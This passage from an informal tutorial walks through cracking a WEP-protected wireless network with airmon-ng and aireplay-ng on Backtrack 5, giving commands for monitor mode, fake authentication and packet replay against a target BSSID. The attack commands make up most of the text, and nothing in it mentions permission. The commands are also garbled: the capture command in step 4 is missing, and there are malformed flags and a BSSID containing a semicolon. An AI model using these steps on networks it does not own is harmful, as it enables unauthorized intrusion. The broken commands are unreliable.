You have to put your wireless adapter into monitor mode,to do so type the following command:

airmon-ng start (your interface)

Example: airmon-ng start wlan0

Now when the new interface mon0 will be created you can see the new interface by typing ” iwconfig mon0 ”

Step 4:

In order to carck the WEP you will need to capture all the data of the target into file.To do this type the folllowing command and you need to speed up the process too.

In my case channel is 6 and has bssid as 00:26:75:06:CF;C6 and i am going to save the captured data  as “wep”.

Step 5:

In order to speed up the capturing rate open the new terminal and type:

aireplay-ng – 1 3 -a (bssid of the target ) (interface)

Backtrack 5

in my case:
aireplay-ng – 1 3 -a 00:26:75:06:CF;C6 mon0

now type the following command:

aireplay-ng-2-p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid of target)  (interface)

and press “y” when asked to Use this Packet.
